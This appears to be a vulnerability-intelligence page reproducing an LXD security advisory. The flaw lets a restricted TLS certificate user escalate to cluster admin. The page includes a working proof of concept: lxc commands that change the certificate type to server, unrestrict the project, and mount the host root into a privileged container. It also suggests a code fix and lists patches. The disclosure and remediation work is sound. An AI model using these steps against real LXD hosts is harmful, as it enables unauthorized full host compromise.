Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-c3h3-89qf-jqm5

CriticalCVSS 9.1 / 10
Published Apr 10, 2026·Last modified Apr 10, 2026
Affected Components(0)

No affected components available

Description

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.

Details

doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:

  1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type.
		// Ensure the user in not trying to change fields other than the certificate.
		if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {
			return response.Forbidden(errors.New("Only the certificate can be changed"))
		}
  1. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type.
		// Reset dbCert in order to prevent possible future security issues.
		dbCert = dbCluster.Certificate{
			Certificate: dbInfo.Certificate,
			Fingerprint: dbInfo.Fingerprint,
			Restricted:  dbInfo.Restricted,
			Name:        dbInfo.Name,
			Type:        reqDBType,
		}

This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate:

# Create restricted project
lxc project create poc-restricted -c restricted=true
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Add client certificate
lxc config trust add --restricted --projects poc-restricted --name poc-user
# pass token to user

As restricted user:

# Add token
lxc remote add target <token>

# Confirm we can only see the poc-restricted project
lxc project list target:

# Confirm we can't unrestrict the project
lxc project set target:poc-restricted restricted=false

# Get own certificate fingerprint
fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

# Update the type of certificate to server
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
# or 
# lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp

# Confirm type is 'server'
lxc config trust list target:

# Set project to restricted=false
lxc project set target:poc-restricted restricted=false

# Start privileged container (and escape to root)
lxc init ubuntu:24.04 target:privileged -c security.privileged=true
lxc config device add target:privileged hostfs disk source=/ path=/mnt/host
lxc start target:privileged

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS certificates (/1.0/certificates API).

Suggested remediation

  1. Add Type to the guard check at line 992:
if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name ||
    dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {
  1. Use the original type in the reset block at line 1008:
origDBType, err := certificate.FromAPIType(dbInfo.Type)
if err != nil {
    return response.InternalError(err)
}

dbCert = dbCluster.Certificate{
    Certificate: dbInfo.Certificate,
    Fingerprint: dbInfo.Fingerprint,
    Restricted:  dbInfo.Restricted,
    Name:        dbInfo.Name,
    Type:        origDBType,
}

Patches

| LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 | | 4.0 | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |

Risk Scores
Base Score
9.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.3

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.27%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard